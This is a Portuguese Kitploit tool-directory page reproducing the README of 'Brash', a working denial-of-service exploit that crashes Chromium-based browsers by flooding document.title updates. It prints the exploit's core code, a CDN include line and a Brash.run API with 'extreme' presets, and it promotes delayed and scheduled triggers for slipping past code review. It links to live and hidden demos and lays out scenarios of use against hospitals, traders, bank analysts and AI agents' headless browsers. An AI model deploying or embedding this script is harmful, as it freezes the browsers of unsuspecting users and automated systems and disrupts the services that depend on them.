Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
brash — Ataque DoS no Navegador Chromium via Exploração de document.title | Kitploit
Ferramentas/GitHubGitHub/jofpin/brash
Frameworks de ExploraçãoAnálise de VulnerabilidadesExploração de Aplicações WebTestes de Penetração
GitHubjofpin/brash

brash

Ataque DoS no Navegador Chromium via Exploração de document.title

Ver Repositório
1806há 9 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

Brash

Brash by Jose Pino

Ataque DoS em Navegador Chromium via Exploração de document.title

Brash é uma vulnerabilidade crítica no Blink, o motor de renderização que alimenta os navegadores baseados em Chromium do Google. Ela permite que qualquer navegador Chromium colapse em 15-60 segundos ao explorar uma falha arquitetural na forma como certas operações do DOM são gerenciadas.

O vetor de ataque origina-se da ausência completa de limitação de taxa nas atualizações da API document.title. Isso permite injetar milhões de mutações no DOM por segundo e, durante essa tentativa de injeção, satura a thread principal, interrompendo o loop de eventos e causando o colapso da interface. O impacto é significativo: consome alto recurso de CPU, degrada o desempenho geral do sistema e pode interromper ou desacelerar outros processos em execução simultânea. Ao afetar navegadores Chromium em desktop, Android e ambientes incorporados, essa vulnerabilidade expõe mais de 3 bilhões de pessoas na internet a uma negação de serviço a nível de sistema.

STATUS: Operacional
VERSÕES AFETADAS: Chromium ≤ 143.0.7483.0 (testado: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] O exploit está atualmente operacional. Uma vez que a vulnerabilidade seja corrigida, este código deixará de funcionar. Independentemente disso, descobrir essa falha arquitetural e completar todo o processo de pesquisa, documentação e design para compartilhar algo impactante com o mundo tem sido uma jornada incrivelmente gratificante.

Testes

11 navegadores principais foram testados no macOS, Windows e Linux para validar o impacto da vulnerabilidade.

Vulneráveis (Chromium/Blink)

Todos os navegadores baseados em Chromium são vulneráveis porque a falha existe no núcleo do motor de renderização Blink:

  • Chrome — trava em 15-30 segundos
  • Edge — trava em 15-25 segundos
  • Vivaldi — trava em 15-30 segundos
  • Arc Browser — trava em 15-30 segundos
  • Dia Browser — trava em 15-30 segundos
  • Opera — trava em ~60 segundos
  • Perplexity Comet — trava em 15-35 segundos
  • ChatGPT Atlas — trava em 15-60 segundos
  • Brave — trava em 30-125 segundos

Não Vulneráveis (Usando Outros Motores)

  • Firefox (motor Gecko) — imune ao ataque
  • Safari (motor WebKit) — imune ao ataque
  • Navegadores iOS (todos usam WebKit) — imunes ao ataque devido à política mandatória da Apple que exige que todos os navegadores iOS usem WebKit como motor de renderização, tornando impossível a existência de navegadores baseados em Chromium no iOS

Como Funciona

Brash explora uma falha arquitetural fundamental no motor de renderização Blink: a ausência de limitação (throttling) nas atualizações de document.title. O ataque opera em três fases críticas:

1. Geração de Hash (Preparação)

Gera 100 strings hexadecimais únicas de 512 caracteres e as armazena na memória antes de iniciar o ataque.

Por que pré-carregá-las em vez de gerá-las em tempo real?

Porque gerar constantemente novas strings consome tempo de CPU em operações matemáticas. Esse tempo é crítico — cada milissegundo gasto gerando strings é tempo NÃO utilizado para bombardear o navegador com atualizações de document.title.

Ao ter 100 strings já carregadas na memória:

  • Ataque mais rápido: Sem pausas para gerar strings
  • CPU focada: 100% dos recursos dedicados a saturar o navegador
  • Menos pausas do sistema: Impede que o coletor de lixo seja ativado constantemente
  • Evita detecção: As 100 strings diferentes impedem que o navegador armazene em cache ou otimize as atualizações

Como resultado, alcançamos velocidade máxima de injeção com consumo máximo de memória por atualização.

root@kitploit:~
// Gera IDs únicos de alta entropia
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. Injeção em Rajadas (Ataque)

Executa rajadas configuráveis de atualizações de título. Com a configuração padrão (burst: 8000, interval: 1ms), tenta injetar aproximadamente 24 milhões de atualizações por segundo, e é durante essa tentativa que o colapso do navegador começa.

root@kitploit:~
// Padrão de atualização tripla: maximiza o thrashing no pipeline de renderização
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Cada rajada executa 3 atualizações sequenciais
    }
    this.counter += 0x3;
}

3. Saturação da Thread da Interface (Colapso)

As atualizações contínuas saturam a thread principal do navegador, impedindo o processamento de outros eventos:

Linha do tempo do colapso:

  • 0-5s: Saturação inicial da thread da interface, consumo extremo de CPU
  • 5-10s: Aba completamente congelada, impossível de fechar
  • 10-15s: Colapso do navegador ou diálogo "Página não responde"
  • 15-60s: Encerramento forçado necessário (navegadores baseados em Chromium)

Por que funciona?

O Blink processa cada mudança de document.title de forma síncrona na thread principal, sem limitação de taxa. Isso cria um gargalo que:

  • Bloqueia o loop de eventos
  • Impede o processamento de entrada do usuário
  • Satura a memória com strings longas
  • Interrompe o compositor e o pipeline de renderização
  • Causa instabilidade no processo do navegador

Demonstração & PoC

Para entender completamente o impacto do Brash, você pode experimentar o exploit em diferentes contextos, desde uma demonstração ao vivo controlada até sua própria implementação. Cada opção é projetada para diferentes níveis de interação e entendimento técnico.

1. Demonstração Ao Vivo

A maneira mais rápida de ver o Brash em ação. Visite https://brash.run

Para ver o exploit sem interface gráfica, visite https://brash.run/hidden-live-demo.html. Esta versão executa a injeção de forma invisível, simulando um ataque real.

2. Demonstração Local

Se preferir executar a demonstração em seu próprio ambiente, o diretório exploit-demo/ incluído no repositório permite que você:

  • Controles para ajustar a intensidade do ataque em tempo real
  • Contador visual de atualizações por segundo
  • Três modos predefinidos: moderado, agressivo e extremo
  • Observação do colapso progressivo do navegador

Basta abrir exploit-demo/index.html em qualquer navegador Chromium e configurar os valores de burst e interval antes de iniciar.

  • burstSize: Mudanças de título por intervalo (maior = mais agressivo)
  • interval: Milissegundos entre rajadas (menor = mais agressivo)

3. Implemente Seu Próprio PoC

Para integrar o Brash em seus próprios testes de segurança ou pesquisa, inclua o script e configure o ataque:

Inclua o script:

root@kitploit:~
<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

Uso da API:

root@kitploit:~
// 1. Ataque imediato
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Atraso em segundos (padrão)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 segundos
});

// 3. Atraso com strings
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // ou "5000ms" ou "3m"
});

// 4. Ataque programado
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

Configurações de intensidade:

root@kitploit:~
// Moderado: observação controlada
// Efeito: O navegador responde lentamente e permite observar a degradação gradual
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 atualizações/seg
});

// Agressivo: saturação rápida
// Efeito: Abas congelam em 10-20 segundos
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // ~60.000 atualizações/seg
});

// Extremo: colapso instantâneo
// Efeito: Congelamento imediato, travamento total em 15-30 segundos
Brash.run({ 
    burstSize: 8000,
    interval: 1 // Tenta ~24M atualizações/seg (o navegador colapsa durante a tentativa)
});

Nota: Cada rajada executa 3 atualizações sequenciais de document.title. Por exemplo, burstSize: 400 = 1.200 atualizações reais por intervalo.

Cenários de Ataque

Brash pode ser armado em múltiplos contextos críticos, com consequências que vão desde perdas econômicas até risco de vida humana.

Ataques com Atraso Programado: Timing Estratégico

Uma característica crítica que amplifica o perigo do Brash é sua capacidade de ser programado para executar em momentos específicos. Um atacante pode injetar o código com um gatilho temporal, permanecendo dormente até um horário exato predeterminado.

Implementação técnica:

root@kitploit:~
// Atraso em segundos (padrão)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });

// Atraso com strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });

// Programado: executa no momento exato
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });

Parâmetros:

  • burstSize: Atualizações por ciclo
  • interval: Milissegundos entre ciclos
  • delay: Número (segundos) ou string ("30s", "5000ms", "3m")
  • scheduled: String ISO ou objeto Date

Por que o parâmetro delay é especialmente letal:

  1. Não requer saber quando a vítima abrirá o link: Simplesmente espera X segundos a partir do momento em que a vítima abre a página.

  2. Tempo para estabelecer confiança: Durante os minutos de espera, a vítima interage com conteúdo aparentemente legítimo (formulários, documentos, vídeos).

  3. Evasão da inspeção inicial: Se alguém revisar rapidamente o código, ele parece inativo. O ataque não executa até mais tarde.

  4. Timing psicológico perfeito: Espera até que a vítima esteja profundamente envolvida na tarefa (meio de exame, meio de reunião, durante procedimento crítico).

Cenário típico com delay:

root@kitploit:~
00:00 - Vítima abre o link "Q4 Documents.pdf"
00:30 - Vítima revisa documentos, parece legítimo
02:00 - Vítima compartilha tela em reunião com 50 pessoas
03:00 - ATAQUE EXECUTA - todos os navegadores colapsam

Por que o parâmetro scheduled também é devastador:

  1. Sincronização cirúrgica: O atacante escolhe o momento exato de máximo impacto (abertura do mercado, horário de pico de operações).

  2. Ataques coordenados globais: Múltiplos alvos podem ser atingidos simultaneamente no mesmo segundo.

  3. Evasão de detecção prévia: O código malicioso pode estar presente dias ou semanas antes sem executar, passando por revisões de segurança.

  4. Impossível de parar: Quando o ataque executa, já é tarde demais para preveni-lo.

Exemplos de timing estratégico:

  • 09:30 AM EST — Abertura de Wall Street (máxima volatilidade de negociação)
  • 03:00 AM — Troca de turno em hospital (mínimo de pessoal, máxima vulnerabilidade)
  • 12:00 PM — Horário de pico do tráfego aéreo (máximo de voos simultâneos)
  • Black Friday 00:00 — Início das vendas online (máximo tráfego de e-commerce)
  • Durante eventos ao vivo — Debates presidenciais, Super Bowl, eventos esportivos massivos

Essa capacidade de timing cinético transforma o Brash de uma ferramenta de interrupção em uma arma de precisão temporal, onde o atacante controla não apenas o "o quê" e "onde", mas também o "quando" com precisão de milissegundos.


Envenenamento de Agentes de IA: Sistemas Automatizados

Cenário: Sistemas empresariais que dependem de agentes de IA para raspagem web, análise de mercado, monitoramento de concorrentes ou automação de suporte ao cliente usam navegadores headless (Chromium/Puppeteer) para consultar milhares de sites diariamente. Um atacante injeta o Brash em sites populares que esses agentes consultam.

Durante operações automatizadas críticas:

  • Um agente de IA consulta um site de notícias financeiras comprometido para análise de mercado
  • Brash executa silenciosamente no navegador headless do agente
  • O processo do navegador colapsa, interrompendo todo o pipeline de análise
  • Sistemas downstream aguardando dados do agente entram em timeout
  • Decisões automatizadas de negociação/precificação são bloqueadas
  • O sistema de monitoramento detecta falhas massivas em múltiplos agentes simultaneamente
  • Intervenção manual é necessária para reiniciar toda a infraestrutura de agentes

Vetores de ataque amplificados:

  • Assistentes de pesquisa de IA: Agentes que pesquisam e processam informações da web para empresas
  • Bots de monitoramento de preços: Sistemas de e-commerce que rastreiam preços de concorrentes
  • Ferramentas de análise SEO: Serviços que rastreiam milhões de páginas para análise
  • Suporte ao cliente com IA: Chatbots que consultam documentação web em tempo real
  • Varredura automatizada de conformidade: Sistemas regulatórios que monitoram websites

Impacto real: Paralisia de operações automatizadas críticas, perdas econômicas por decisões não tomadas, degradação massiva de serviços dependentes de IA, custos de recuperação de infraestrutura, exposição da dependência crítica de agentes automatizados.

Interrupção de Procedimento Cirúrgico: Risco de Vida

Cenário: Um cirurgião cardiovascular está realizando uma cirurgia de ponte de safena assistida por um sistema de navegação cirúrgica baseado na web (cada vez mais comum em cirurgias minimamente invasivas). O sistema fornece imagens em tempo real, métricas vitais do paciente e orientação para instrumentos robóticos.

Durante a fase mais crítica da operação, uma notificação do navegador aparece: "ALERTA: Atualização crítica do sistema cirúrgico - Aplique agora ou a operação pode falhar."

Ao clicar em pânico:

  • O navegador colapsa instantaneamente junto com o sistema de navegação cirúrgica
  • O cirurgião perde a visualização das imagens guia por 3-5 minutos
  • Os sinais vitais em tempo real desaparecem das telas
  • A equipe médica deve improvisar enquanto reinicia o sistema
  • O paciente está em risco crítico durante a janela de colapso

Impacto real: Risco direto de morte do paciente, potencial para danos permanentes, trauma psicológico para a equipe médica, processos milionários por negligência tecnológica.

Crash Relâmpago na Bolsa de Valores

Cenário: Durante a abertura do mercado de Wall Street, um ator malicioso injeta o Brash em múltiplos canais simultaneamente: interface web do Bloomberg Terminal, chat de traders institucionais e fóruns especializados. O link promete "Vazamento: Transcrição da reunião de emergência do Fed - Corte de taxa confirmado."

Nos primeiros 30 segundos de negociação (máxima liquidez):

  • Mais de 200 traders institucionais clicam simultaneamente
  • Seus terminais web colapsam exatamente quando estão colocando ordens de milhões de dólares
  • Algoritmos de negociação automatizada detectam a queda repentina na atividade como um "crash"
  • Vendas massivas automáticas são acionadas
  • O mercado cai 5-7% em 90 segundos antes dos disjuntores
  • Milhões de investidores de varejo perdem economias

Impacto real: Trilhões de dólares em perdas de capitalização de mercado, pânico financeiro global, investigações da SEC, potencial crise de confiança nos mercados.

Sistema Bancário: Prevenção de Fraude em Tempo Real

Cenário: Analistas de fraude de um banco processam alertas de transações suspeitas em tempo real através de um painel web. Durante a Black Friday (pico de transações), eles recebem o Brash via e-mail corporativo: "Novo padrão de fraude detectado - análise urgente necessária."

No momento de maior volume transacional:

  • Mais de 20 analistas abrem o link simultaneamente
  • Os painéis de detecção de fraude colapsam
  • 15-20 minutos de transações ficam sem revisão
  • Atacantes exploram a janela para processar milhares de transações roubadas
  • US$ 2-5 milhões em fraude passam despercebidos
  • Sistemas automatizados são configurados para permitir transações se os analistas não responderem

Impacto real: Milhões de dólares em perdas diretas, milhares de clientes com cobranças fraudulentas, dano reputacional massivo, multas regulatórias por falhas no sistema de prevenção.


Esses cenários não são teóricos. A simplicidade do Brash o torna uma ameaça real para qualquer operação que dependa de navegadores web, o que em 2025 significa praticamente tudo.

Considerações Finais

A criação do Brash é um esforço para demonstrar o que acontece quando proteções básicas estão ausentes nas tecnologias web que usamos diariamente. A vulnerabilidade não reside em código complexo ou técnicas avançadas, mas na falta fundamental de limitação de taxa em uma API que deveria ser limitada por design.

O impacto do Brash em mais de 3 bilhões de usuários de navegadores Chromium demonstra que falhas arquiteturais em componentes centrais como o Blink têm consequências massivas e globais. Isso não é um bug isolado — é uma falha de design que afeta todo o ecossistema Chromium.

Muitas vezes, as coisas mais perigosas se escondem no lugar menos esperado, o mais ignorado. - Jose Pino

Aviso Legal

Este PoC destina-se exclusivamente a fins educacionais e de pesquisa em segurança, para ajudar a tornar a internet um lugar mais seguro. Sua execução deve ser realizada exclusivamente em ambientes controlados, e não deve ser usada em sistemas de produção, sites públicos ou dispositivos contendo dados importantes.

O uso indevido deste exploit pode resultar em travamentos do navegador, perda de dados e instabilidade do sistema. O autor não se responsabiliza por quaisquer danos, perda de dados ou consequências legais decorrentes do uso ou uso indevido deste PoC. Ao usar o Brash, você reconhece que compreende esses riscos e concorda em usá-lo apenas para pesquisas legítimas de segurança em ambientes isolados.

Espera-se que os usuários cumpram todas as leis e regulamentos aplicáveis. O uso não autorizado deste exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal e antiético.

Licença

O conteúdo deste projeto em si é licenciado sob a licença Creative Commons Attribution 3.0, e o código-fonte subjacente usado para formatar e exibir esse conteúdo é licenciado sob a licença MIT.

Copyright (c) 2025 por Jose Pino

Baixar ferramenta